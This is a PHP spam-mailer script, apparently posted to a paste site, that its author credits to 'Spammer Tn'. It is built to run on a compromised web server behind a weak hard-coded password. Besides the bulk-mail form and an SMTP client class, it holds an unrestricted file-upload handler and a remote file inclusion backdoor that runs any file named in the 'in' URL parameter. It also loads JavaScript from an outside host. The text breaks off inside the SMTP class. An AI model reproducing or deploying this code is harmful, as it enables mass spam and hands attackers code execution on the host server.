· 10 years ago · Jan 19, 2016, 11:00 PM
1<?php
2
3@session_start();
4@set_time_limit(0);
5
6//PASSWORD CONFIGURATION
7
8@$pass = $_POST['pass'];
9$chk_login = boy;
10$password = "404";
11
12//END CONFIGURATION
13
14if($pass == $password)
15{
16 $_SESSION['nst'] = "$pass";
17}
18
19if($chk_login == true)
20{
21 if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
22 {
23 die("
24 <title>.: || Mass Mailer By X-Spammer || :.</title>
25 <center>
26 <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>
27 <tr><td valign=middle align=center>
28 <table width=100 bgcolor=black border=6 bordercolor=#444444>
29 <tr><td>
30 <font size=1 face=verdana><center>
31 <b></font></a><br></b>
32 </center>
33 <form method=post>
34 <font size=1 face=verdana color=red><strong><center>Mailer</center></strong><br>
35 <input type=password name=pass size=30>
36 </form>
37 <b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
38 <b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
39 <b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]."
40 </td></tr></table>
41 </td></tr></table>
42 ");
43 }
44}
45# ================================================================================= #
46# #### ### # ## ## ## ## ##### ### ####### ## # #
47# # # # # # # # # # # # # # # # # # # # # #
48# #### ### ##### # # # # # # ##### ### # # # # #
49# # # # # # # # # # # # # # # # #
50# #### # # # # # # # ##### # # # # ## #
51# ================================================================================= #
52# By Spammer Tn #
53# contact : Spammeer@live.fr #
54# (https://www.facebook.com/spammeer.14) #
55# ================================================================================= #
56# Upload
57$UP = $_GET['up'];
58if(isset($UaP) && !empty($UP)){
59echo"".$_FILES['userfile']."";
60$uploaddir = './';
61$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
62if ( isset($_FILES["userfile"]) ) {
63 echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
64 if (move_uploaded_file
65($_FILES["userfile"]["tmp_name"], $uploadfile))
66echo $uploadfile;
67 else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
68}
69
70}
71# ================================================================================= #
72# RFI
73$in = $_GET['in'];
74if(isset($in) && !empty($in)){
75 echo die(include_once $in);
76}
77# ================================================================================= #
78function query_str($params){
79$str = '';
80foreach ($params as $key => $value) {
81$str .= (strlen($str) < 1) ? '' : '&';
82$str .= $key . '=' . rawurlencode($value);
83}
84return ($str);
85}
86function lrtrim($string){
87return stripslashes(ltrim(rtrim($string)));
88}
89
90if(isset($_POST['action'] ) ){
91
92$b = query_str($_POST);
93parse_str($b);
94$sslclick=lrtrim($sslclick);
95$action=lrtrim($action);
96$message=lrtrim($message);
97$emaillist=lrtrim($emaillist);
98$from=lrtrim($from);
99$reconnect=lrtrim($reconnect);
100$epriority=lrtrim($epriority);
101$my_smtp=lrtrim($my_smtp);
102$ssl_port=lrtrim($ssl_port);
103$smtp_username=lrtrim($smtp_username);
104$smtp_password=lrtrim($smtp_password);
105$replyto=lrtrim($replyto);
106$subject=lrtrim($subject);
107$realname=lrtrim($realname);
108$subject_base=lrtrim($subject);
109$realname_base=lrtrim($realname);
110$file_name=lrtrim($file);
111$urlz=lrtrim($urlz);
112$contenttype=lrtrim($contenttype);
113$encode_text=$_POST['encode'];
114
115 $message = urlencode($message);
116 $message = ereg_replace("%5C%22", "%22", $message);
117 $message = urldecode($message);
118 $message = stripslashes($message);
119 $subject = stripslashes($subject);
120 if ($encode_text == "yes") {
121 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
122 $subject = str_replace(' ', '_', $subject);
123 $subject = "=?UTF-8?Q?$subject?=";
124 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
125 $realname = str_replace(' ', '_', $realname);
126 $realname = "=?UTF-8?Q?$realname?=";
127 }
128}
129?>
130<html>
131
132<head>
133<title>PHP Mailer</title>
134<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
135
136<style type="text/css">
137<!--
138.style1 {
139 font-family: Geneva, Arial, Helvetica, sans-serif;
140 font-size: 12px;
141}
142-->
143</style>
144<style type="text/css">
145<!--
146.style1 {
147 font-size: 10px;
148 font-family: Geneva, Arial, Helvetica, sans-serif;
149}
150-->
151</style>
152</head>
153<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
154<body text="#000000">
155<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender
156<br>
157</font><font color="#800000" size="5" face="Bauhaus 93"></font></p>
158<form name="form1" method="post" action="" enctype="multipart/form-data">
159
160 <br>
161
162 <table width="100%" border="0" height="407">
163
164 <tr>
165
166 <td width="100%" colspan="4" bgcolor="#666666" height="36">
167
168 <b>
169
170 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
171
172 </tr>
173 <tr>
174
175 <td width="10%" height="22" bgcolor="#E8E8E8">
176
177 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
178 SMTP Login:</font></div>
179
180 </td>
181
182 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
183
184 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
185
186 </font></td>
187
188 <td width="31%" height="22" bgcolor="#E8E8E8">
189
190 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
191 SMTP Pass:</font></div>
192
193 </td>
194
195 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
196
197 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
198
199 </font></td>
200
201 </tr>
202 <tr>
203
204 <td width="10%" height="22" bgcolor="#E8E8E8">
205
206 <div align="right">
207 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
208
209 </td>
210
211 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
212
213 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
214 (optional)</font></td>
215
216 <td width="31%" height="22" bgcolor="#E8E8E8">
217
218 <div align="right">
219 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
220 Server Smtp:</font></div>
221
222 </td>
223
224 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
225
226 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
227
228 </font></td>
229
230 </tr>
231 <tr>
232
233 <td width="10%" height="22" bgcolor="#E8E8E8">
234
235 <p align="right">
236 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
237
238 <td width="18%" height="22" bgcolor="#E8E8E8">
239 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
240
241 <td width="31%" height="22" bgcolor="#E8E8E8">
242
243 <p align="right">
244 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
245 After:</font></td>
246
247 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
248
249 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
250 EMAILS</font></td>
251
252 </tr>
253 <tr>
254
255 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
256
257 <p align="center">
258 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
259 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
260
261 </tr>
262
263 <tr>
264
265 <td width="10%" height="19">
266
267 </td>
268
269 <td width="18%" height="19"> </td>
270
271 <td width="31%" height="19">
272
273 </td>
274
275 <td width="41%" height="19"> </td>
276
277 </tr>
278
279 <tr>
280
281 <td width="100%" colspan="4" bgcolor="#666666" height="36">
282
283 <b>
284
285 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
286
287 </tr>
288
289 <tr>
290
291 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
292
293 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
294 Your Email:</font></div>
295
296 </td>
297
298 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
299
300 <input type="text" name="from" value="<?=$from;?>" size="30">
301
302 </font></td>
303
304 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
305
306 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
307 Your Name:</font></div>
308
309 </td>
310
311 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
312
313 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
314
315 </font></td>
316
317 </tr>
318 <tr>
319
320 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
321
322 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
323 Reply-To:</font></div>
324
325 </td>
326
327 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
328
329 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
330
331 </font></td>
332
333 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
334
335 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
336 Email Priority:</font></td>
337
338 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
339
340 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
341 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
342 Please Choose -</option>
343 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
344 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
345 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
346 </select></td>
347
348 </tr>
349
350 <tr>
351
352 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
353
354 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
355 Subject:</font></div>
356
357 </td>
358
359 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
360
361 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
362
363 </font></td>
364
365 </tr>
366
367 <tr>
368
369 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
370
371 </td>
372
373 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
374
375 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
376 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
377 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
378 </select></font></td>
379
380 </tr>
381
382 <tr valign="top">
383
384<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
385
386 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
387
388 <br>
389
390 <input type="radio" name="contenttype" value="plain" >
391
392 Plain
393
394 <input type="radio" name="contenttype" value="html" checked>
395
396 HTML
397
398 <input type="hidden" name="action" value="send">
399
400 <input type="submit" value="Send Message">
401
402 </font></td>
403
404 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
405
406 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
407
408 </font></td>
409
410 </tr>
411
412 </table>
413
414</form>
415
416
417
418<?
419
420if ($action){
421 if (!$from && !$subject && !$message && !$emaillist){
422 print "<script>alert('Please complete all fields before sending your message.'); </script>";
423 die(); }
424
425class SMTP
426{
427 /**
428 * SMTP server port
429 * @var int
430 */
431 var $SMTP_PORT = 25;
432
433 /**
434 * SMTP reply line ending
435 * @var string
436 */
437 var $CRLF = "\r\n";
438
439 /**
440 * Sets whether debugging is turned on
441 * @var bool
442 */
443 var $do_debug; # the level of debug to perform
444
445 /**
446 * Sets VERP use on/off (default is off)
447 * @var bool
448 */
449 var $do_verp = false;
450
451 /**#@+
452 * @access private
453 */
454 var $smtp_conn; # the socket to the server
455 var $error; # error if any on the last call
456 var $helo_rply; # the reply the server sent to us for HELO
457 /**#@-*/
458
459 /**
460 * Initialize the class so that the data is in a known state.
461 * @access public
462 * @return void
463 */
464 function SMTP() {
465 $this->smtp_conn = 0;
466 $this->error = null;
467 $this->helo_rply = null;
468
469 $this->do_debug = 0;
470 }
471
472 /*************************************************************
473 * CONNECTION FUNCTIONS *
474 ***********************************************************/
475
476 /**
477 * Connect to the server specified on the port specified.
478 * If the port is not specified use the default SMTP_PORT.
479 * If tval is specified then a connection will try and be
480 * established with the server for that number of seconds.
481 * If tval is not specified the default is 30 seconds to
482 * try on the connection.
483 *
484 * SMTP CODE SUCCESS: 220
485 * SMTP CODE FAILURE: 421
486 * @access public
487 * @return bool
488 */
489 function Connect($host,$port=0,$tval=30) {
490 # set the error val to null so there is no confusion
491 $this->error = null;
492
493 # make sure we are __not__ connected
494 if($this->connected()) {
495 # ok we are connected! what should we do?
496 # for now we will just give an error saying we
497 # are already connected
498 $this->error = array("error" => "Already connected to a server");
499 return false;
500 }
501
502 if(empty($port)) {
503 $port = $this->SMTP_PORT;
504 }
505
506 #connect to the smtp server
507 $this->smtp_conn = fsockopen($host, # the host of the server
508 $port, # the port to use
509 $errno, # error number if any
510 $errstr, # error message if any
511 $tval); # give up after ? secs
512 # verify we connected properly
513 if(empty($this->smtp_conn)) {
514 $this->error = array("error" => "Failed to connect to server",
515 "errno" => $errno,
516 "errstr" => $errstr);
517 if($this->do_debug >= 1) {
518 echo "SMTP -> ERROR: " . $this->error["error"] .
519 ": $errstr ($errno)" . $this->CRLF;
520 }
521 return false;
522 }
523
524 # sometimes the SMTP server takes a little longer to respond
525 # so we will give it a longer timeout for the first read
526 // Windows still does not have support for this timeout function
527 if(substr(PHP_OS, 0, 3) != "WIN")
528 socket_set_timeout($this->smtp_conn, $tval, 0);
529
530 # get any announcement stuff
531 $announce = $this->get_lines();
532
533 # set the timeout of any socket functions at 1/10 of a second
534 //if(function_exists("socket_set_timeout"))
535 // socket_set_timeout($this->smtp_conn, 0, 100000);
536
537 if($this->do_debug >= 2) {
538 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
539 }
540
541 return true;
542 }
543
544 /**
545 * Performs SMTP authentication. Must be run after running the
546 * Hello() method. Returns true if successfully authenticated.
547 * @access public
548 * @return bool
549 */
550 function Authenticate($username, $password) {
551 // Start authentication
552 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
553
554 $rply = $this->get_lines();
555 $code = substr($rply,0,3);
556
557 if($code != 334) {
558 $this->error =
559 array("error" => "AUTH not accepted from server",
560 "smtp_code" => $code,
561 "smtp_msg" => substr($rply,4));
562 if($this->do_debug >= 1) {
563 echo "SMTP -> ERROR: " . $this->error["error"] .
564 ": " . $rply . $this->CRLF;
565 }
566 return false;
567 }
568
569 // Send encoded username
570 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
571
572 $rply = $this->get_lines();
573 $code = substr($rply,0,3);
574
575 if($code != 334) {
576 $this->error =
577 array("error" => "Username not accepted from server",
578 "smtp_code" => $code,
579 "smtp_msg" => substr($rply,4));
580 if($this->do_debug >= 1) {
581 echo "SMTP -> ERROR: " . $this->error["error"] .
582 ": " . $rply . $this->CRLF;
583 }
584 return false;
585 }
586
587 // Send encoded password
588 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
589
590 $rply = $this->get_lines();
591 $code = substr($rply,0,3);
592
593 if($code != 235) {
594 $this->error =
595 array("error" => "Password not accepted from server",
596 "smtp_code" => $code,
597 "smtp_msg" => substr($rply,4));
598 if($this->do_debug >= 1) {
599 echo "SMTP -> ERROR: " . $this->error["error"] .
600 ": " . $rply . $this->CRLF;
601 }
602 return false;
603 }
604
605 return true;
606 }
607
608 /**
609 * Returns true if connected to a server otherwise false
610 * @access private
611 * @return bool
612 */
613 function Connected() {
614 if(!empty($this->smtp_conn)) {
615 $sock_status = socket_get_status($this->smtp_conn);
616 if($sock_status["eof"]) {
617 # hmm this is an odd situation... the socket is
618 # valid but we are not connected anymore
619 if($this->do_debug >= 1) {
620 echo "SMTP -> NOTICE:" . $this->CRLF .
621 "EOF caught while checking if connected";
622 }
623 $this->Close();
624 return false;
625 }
626 return true; # everything looks good
627 }
628 return false;
629 }
630
631 /**
632 * Closes the socket and cleans up the state of the class.
633 * It is not considered good to use this function without
634 * first trying to use QUIT.
635 * @access public
636 * @return void
637 */
638 function Close() {
639 $this->error = null; # so there is no confusion
640 $this->helo_rply = null;
641 if(!empty($this->smtp_conn)) {
642 # close the connection and cleanup
643 fclose($this->smtp_conn);
644 $this->smtp_conn = 0;
645 }
646 }
647
648 /***************************************************************
649 * SMTP COMMANDS *
650 *************************************************************/
651
652 /**
653 * Issues a data command and sends the msg_data to the server
654 * finializing the mail transaction. $msg_data is the message
655 * that is to be send with the headers. Each header needs to be
656 * on a single line followed by a <CRLF> with the message headers
657 * and the message body being seperated by and additional <CRLF>.
658 *
659 * Implements rfc 821: DATA <CRLF>
660 *
661 * SMTP CODE INTERMEDIATE: 354
662 * [data]
663 * <CRLF>.<CRLF>
664 * SMTP CODE SUCCESS: 250
665 * SMTP CODE FAILURE: 552,554,451,452
666 * SMTP CODE FAILURE: 451,554
667 * SMTP CODE ERROR : 500,501,503,421
668 * @access public
669 * @return bool
670 */
671 function Data($msg_data) {
672 $this->error = null; # so no confusion is caused
673
674 if(!$this->connected()) {
675 $this->error = array(
676 "error" => "Called Data() without being connected");
677 return false;
678 }
679
680 fputs($this->smtp_conn,"DATA" . $this->CRLF);
681
682 $rply = $this->get_lines();
683 $code = substr($rply,0,3);
684
685 if($this->do_debug >= 2) {
686 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
687 }
688
689 if($code != 354) {
690 $this->error =
691 array("error" => "DATA command not accepted from server",
692 "smtp_code" => $code,
693 "smtp_msg" => substr($rply,4));
694 if($this->do_debug >= 1) {
695 echo "SMTP -> ERROR: " . $this->error["error"] .
696 ": " . $rply . $this->CRLF;
697 }
698 return false;
699 }
700
701 # the server is ready to accept data!
702 # according to rfc 821 we should not send more than 1000
703 # including the CRLF
704 # characters on a single line so we will break the data up
705 # into lines by \r and/or \n then if needed we will break
706 # each of those into smaller lines to fit within the limit.
707 # in addition we will be looking for lines that start with
708 # a period '.' and append and additional period '.' to that
709 # line. NOTE: this does not count towards are limit.
710
711 # normalize the line breaks so we know the explode works
712 $msg_data = str_replace("\r\n","\n",$msg_data);
713 $msg_data = str_replace("\r","\n",$msg_data);
714 $lines = explode("\n",$msg_data);
715
716 # we need to find a good way to determine is headers are
717 # in the msg_data or if it is a straight msg body
718 # currently I am assuming rfc 822 definitions of msg headers
719 # and if the first field of the first line (':' sperated)
720 # does not contain a space then it _should_ be a header
721 # and we can process all lines before a blank "" line as
722 # headers.
723 $field = substr($lines[0],0,strpos($lines[0],":"));
724 $in_headers = false;
725 if(!empty($field) && !strstr($field," ")) {
726 $in_headers = true;
727 }
728
729 $max_line_length = 998; # used below; set here for ease in change
730
731 while(list(,$line) = @each($lines)) {
732 $lines_out = null;
733 if($line == "" && $in_headers) {
734 $in_headers = false;
735 }
736 # ok we need to break this line up into several
737 # smaller lines
738 while(strlen($line) > $max_line_length) {
739 $pos = strrpos(substr($line,0,$max_line_length)," ");
740
741 # Patch to fix DOS attack
742 if(!$pos) {
743 $pos = $max_line_length - 1;
744 }
745
746 $lines_out[] = substr($line,0,$pos);
747 $line = substr($line,$pos + 1);
748 # if we are processing headers we need to
749 # add a LWSP-char to the front of the new line
750 # rfc 822 on long msg headers
751 if($in_headers) {
752 $line = "\t" . $line;
753 }
754 }
755 $lines_out[] = $line;
756
757 # now send the lines to the server
758 while(list(,$line_out) = @each($lines_out)) {
759 if(strlen($line_out) > 0)
760 {
761 if(substr($line_out, 0, 1) == ".") {
762 $line_out = "." . $line_out;
763 }
764 }
765 fputs($this->smtp_conn,$line_out . $this->CRLF);
766 }
767 }
768
769 # ok all the message data has been sent so lets get this
770 # over with aleady
771 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
772
773 $rply = $this->get_lines();
774 $code = substr($rply,0,3);
775
776 if($this->do_debug >= 2) {
777 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
778 }
779
780 if($code != 250) {
781 $this->error =
782 array("error" => "DATA not accepted from server",
783 "smtp_code" => $code,
784 "smtp_msg" => substr($rply,4));
785 if($this->do_debug >= 1) {
786 echo "SMTP -> ERROR: " . $this->error["error"] .
787 ": " . $rply . $this->CRLF;
788 }
789 return false;
790 }
791 return true;
792 }
793
794 /**
795 * Expand takes the name and asks the server to list all the
796 * people who are members of the _list_. Expand will return
797 * back and array of the result or false if an error occurs.
798 * Each value in the array returned has the format of:
799 * [ <full-name> <sp> ] <path>
800 * The definition of <path> is defined in rfc 821
801 *
802 * Implements rfc 821: EXPN <SP> <string> <CRLF>
803 *
804 * SMTP CODE SUCCESS: 250
805 * SMTP CODE FAILURE: 550
806 * SMTP CODE ERROR : 500,501,502,504,421
807 * @access public
808 * @return string array
809 */
810 function Expand($name) {
811 $this->error = null; # so no confusion is caused
812
813 if(!$this->connected()) {
814 $this->error = array(
815 "error" => "Called Expand() without being connected");
816 return false;
817 }
818
819 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
820
821 $rply = $this->get_lines();
822 $code = substr($rply,0,3);
823
824 if($this->do_debug >= 2) {
825 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
826 }
827
828 if($code != 250) {
829 $this->error =
830 array("error" => "EXPN not accepted from server",
831 "smtp_code" => $code,
832 "smtp_msg" => substr($rply,4));
833 if($this->do_debug >= 1) {
834 echo "SMTP -> ERROR: " . $this->error["error"] .
835 ": " . $rply . $this->CRLF;
836 }
837 return false;
838 }
839
840 # parse the reply and place in our array to return to user
841 $entries = explode($this->CRLF,$rply);
842 while(list(,$l) = @each($entries)) {
843 $list[] = substr($l,4);
844 }
845
846 return $list;
847 }
848
849 /**
850 * Sends the HELO command to the smtp server.
851 * This makes sure that we and the server are in
852 * the same known state.
853 *
854 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
855 *
856 * SMTP CODE SUCCESS: 250
857 * SMTP CODE ERROR : 500, 501, 504, 421
858 * @access public
859 * @return bool
860 */
861 function Hello($host="") {
862 $this->error = null; # so no confusion is caused
863
864 if(!$this->connected()) {
865 $this->error = array(
866 "error" => "Called Hello() without being connected");
867 return false;
868 }
869
870 # if a hostname for the HELO was not specified determine
871 # a suitable one to send
872 if(empty($host)) {
873 # we need to determine some sort of appopiate default
874 # to send to the server
875 $host = "localhost";
876 }
877
878 // Send extended hello first (RFC 2821)
879 if(!$this->SendHello("EHLO", $host))
880 {
881 if(!$this->SendHello("HELO", $host))
882 return false;
883 }
884
885 return true;
886 }
887
888 /**
889 * Sends a HELO/EHLO command.
890 * @access private
891 * @return bool
892 */
893 function SendHello($hello, $host) {
894 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
895
896 $rply = $this->get_lines();
897 $code = substr($rply,0,3);
898
899 if($this->do_debug >= 2) {
900 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
901 }
902
903 if($code != 250) {
904 $this->error =
905 array("error" => $hello . " not accepted from server",
906 "smtp_code" => $code,
907 "smtp_msg" => substr($rply,4));
908 if($this->do_debug >= 1) {
909 echo "SMTP -> ERROR: " . $this->error["error"] .
910 ": " . $rply . $this->CRLF;
911 }
912 return false;
913 }
914
915 $this->helo_rply = $rply;
916
917 return true;
918 }
919
920 /**
921 * Gets help information on the keyword specified. If the keyword
922 * is not specified then returns generic help, ussually contianing
923 * A list of keywords that help is available on. This function
924 * returns the results back to the user. It is up to the user to
925 * handle the returned data. If an error occurs then false is
926 * returned with $this->error set appropiately.
927 *
928 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
929 *
930 * SMTP CODE SUCCESS: 211,214
931 * SMTP CODE ERROR : 500,501,502,504,421
932 * @access public
933 * @return string
934 */
935 function Help($keyword="") {
936 $this->error = null; # to avoid confusion
937
938 if(!$this->connected()) {
939 $this->error = array(
940 "error" => "Called Help() without being connected");
941 return false;
942 }
943
944 $extra = "";
945 if(!empty($keyword)) {
946 $extra = " " . $keyword;
947 }
948
949 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
950
951 $rply = $this->get_lines();
952 $code = substr($rply,0,3);
953
954 if($this->do_debug >= 2) {
955 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
956 }
957
958 if($code != 211 && $code != 214) {
959 $this->error =
960 array("error" => "HELP not accepted from server",
961 "smtp_code" => $code,
962 "smtp_msg" => substr($rply,4));
963 if($this->do_debug >= 1) {
964 echo "SMTP -> ERROR: " . $this->error["error"] .
965 ": " . $rply . $this->CRLF;
966 }
967 return false;
968 }
969
970 return $rply;
971 }
972
973 /**
974 * Starts a mail transaction from the email address specified in
975 * $from. Returns true if successful or false otherwise. If True
976 * the mail transaction is started and then one or more Recipient
977 * commands may be called followed by a Data command.
978 *
979 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
980 *
981 * SMTP CODE SUCCESS: 250
982 * SMTP CODE SUCCESS: 552,451,452
983 * SMTP CODE SUCCESS: 500,501,421
984 * @access public
985 * @return bool
986 */
987 function Mail($from) {
988 $this->error = null; # so no confusion is caused
989
990 if(!$this->connected()) {
991 $this->error = array(
992 "error" => "Called Mail() without being connected");
993 return false;
994 }
995
996 $useVerp = ($this->do_verp ? "XVERP" : "");
997 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
998
999 $rply = $this->get_lines();
1000 $code = substr($rply,0,3);
1001
1002 if($this->do_debug >= 2) {
1003 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1004 }
1005
1006 if($code != 250) {
1007 $this->error =
1008 array("error" => "MAIL not accepted from server",
1009 "smtp_code" => $code,
1010 "smtp_msg" => substr($rply,4));
1011 if($this->do_debug >= 1) {
1012 echo "SMTP -> ERROR: " . $this->error["error"] .
1013 ": " . $rply . $this->CRLF;
1014 }
1015 return false;
1016 }
1017 return true;
1018 }
1019
1020 /**
1021 * Sends the command NOOP to the SMTP server.
1022 *
1023 * Implements from rfc 821: NOOP <CRLF>
1024 *
1025 * SMTP CODE SUCCESS: 250
1026 * SMTP CODE ERROR : 500, 421
1027 * @access public
1028 * @return bool
1029 */
1030 function Noop() {
1031 $this->error = null; # so no confusion is caused
1032
1033 if(!$this->connected()) {
1034 $this->error = array(
1035 "error" => "Called Noop() without being connected");
1036 return false;
1037 }
1038
1039 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1040
1041 $rply = $this->get_lines();
1042 $code = substr($rply,0,3);
1043
1044 if($this->do_debug >= 2) {
1045 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1046 }
1047
1048 if($code != 250) {
1049 $this->error =
1050 array("error" => "NOOP not accepted from server",
1051 "smtp_code" => $code,
1052 "smtp_msg" => substr($rply,4));
1053 if($this->do_debug >= 1) {
1054 echo "SMTP -> ERROR: " . $this->error["error"] .
1055 ": " . $rply . $this->CRLF;
1056 }
1057 return false;
1058 }
1059 return true;
1060 }
1061
1062 /**
1063 * Sends the quit command to the server and then closes the socket
1064 * if there is no error or the $close_on_error argument is true.
1065 *
1066 * Implements from rfc 821: QUIT <CRLF>
1067 *
1068 * SMTP CODE SUCCESS: 221
1069 * SMTP CODE ERROR : 500
1070 * @access public
1071 * @return bool
1072 */
1073 function Quit($close_on_error=true) {
1074 $this->error = null; # so there is no confusion
1075
1076 if(!$this->connected()) {
1077 $this->error = array(
1078 "error" => "Called Quit() without being connected");
1079 return false;
1080 }
1081
1082 # send the quit command to the server
1083 fputs($this->smtp_conn,"quit" . $this->CRLF);
1084
1085 # get any good-bye messages
1086 $byemsg = $this->get_lines();
1087
1088 if($this->do_debug >= 2) {
1089 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1090 }
1091
1092 $rval = true;
1093 $e = null;
1094
1095 $code = substr($byemsg,0,3);
1096 if($code != 221) {
1097 # use e as a tmp var cause Close will overwrite $this->error
1098 $e = array("error" => "SMTP server rejected quit command",
1099 "smtp_code" => $code,
1100 "smtp_rply" => substr($byemsg,4));
1101 $rval = false;
1102 if($this->do_debug >= 1) {
1103 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1104 $byemsg . $this->CRLF;
1105 }
1106 }
1107
1108 if(empty($e) || $close_on_error) {
1109 $this->Close();
1110 }
1111
1112 return $rval;
1113 }
1114
1115 /**
1116 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1117 * Returns true if the recipient was accepted false if it was rejected.
1118 *
1119 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1120 *
1121 * SMTP CODE SUCCESS: 250,251
1122 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1123 * SMTP CODE ERROR : 500,501,503,421
1124 * @access public
1125 * @return bool
1126 */
1127 function Recipient($to) {
1128 $this->error = null; # so no confusion is caused
1129
1130 if(!$this->connected()) {
1131 $this->error = array(
1132 "error" => "Called Recipient() without being connected");
1133 return false;
